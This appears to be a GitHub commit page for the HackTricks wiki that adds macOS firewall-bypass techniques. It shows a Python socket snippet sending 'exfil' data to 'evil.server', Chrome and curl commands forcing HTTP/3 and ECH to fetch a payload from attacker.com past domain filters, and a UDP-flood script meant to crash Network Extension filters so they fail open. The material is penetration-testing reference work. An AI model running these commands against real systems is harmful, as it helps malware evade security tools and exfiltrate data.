Skip to content

Commit aa4e63e

Browse files
authored
Merge pull request #1795 from HackTricks-wiki/research_update_src_macos-hardening_macos-security-and-privilege-escalation_macos-bypassing-firewalls_20260122_130309
Research Update Enhanced src/macos-hardening/macos-security-...
2 parents 2755257 + 3c4f823 commit aa4e63e

1 file changed

Lines changed: 37 additions & 0 deletions

File tree

src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -121,6 +121,41 @@ s = socket.create_connection(("evil.server", 443))
121121
s.send(b"exfil...")
122122
```
123123

124+
### QUIC/ECH to evade Network Extension domain filters (macOS 12+)
125+
NEFilter Packet/Data Providers key off the TLS ClientHello SNI/ALPN. With **HTTP/3 over QUIC (UDP/443)** and **Encrypted Client Hello (ECH)** the SNI stays encrypted, NetExt cannot parse the flow, and hostname rules often fail-open, letting malware reach blocked domains without touching DNS.
126+
127+
Minimal PoC:
128+
129+
```bash
130+
# Chrome/Edge – force HTTP/3 and ECH
131+
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
132+
--enable-quic --origin-to-force-quic-on=attacker.com:443 \
133+
--enable-features=EncryptedClientHello --user-data-dir=/tmp/h3test \
134+
https://attacker.com/payload
135+
136+
# cURL 8.10+ built with quiche
137+
curl --http3-only https://attacker.com/payload
138+
```
139+
140+
If QUIC/ECH is still enabled this is an easy hostname-filter evasion path.
141+
142+
### macOS 15 “Sequoia” Network Extension instability (2024–2025)
143+
Early 15.0/15.1 builds crash third‑party **Network Extension** filters (LuLu, Little Snitch, Defender, SentinelOne, etc.). When the filter restarts macOS drops its flow rules and many products fail‑open. Flooding the filter with thousands of short UDP flows (or forcing QUIC/ECH) can repeatedly trigger the crash and leave a window for C2/exfil while the GUI still claims the firewall is running.
144+
145+
Quick reproduction (safe lab box):
146+
147+
```bash
148+
# create many short UDP flows to exhaust NE filter queues
149+
python3 - <<'PY'
150+
import socket, os
151+
for i in range(5000):
152+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
153+
s.sendto(b'X'*32, ('1.1.1.1', 53))
154+
PY
155+
# watch for NetExt crash / reconnect loop
156+
log stream --predicate 'subsystem == "com.apple.networkextension"' --style syslog
157+
```
158+
124159
---
125160

126161
## Tooling tips for modern macOS
@@ -142,5 +177,7 @@ s.send(b"exfil...")
142177
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
143178
- <https://nosebeard.co/advisories/nbl-001.html>
144179
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
180+
- <https://www.securityweek.com/cybersecurity-products-conking-out-after-macos-sequoia-update/>
181+
- <https://learn.microsoft.com/en-us/defender-endpoint/network-protection-macos>
145182

146183
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)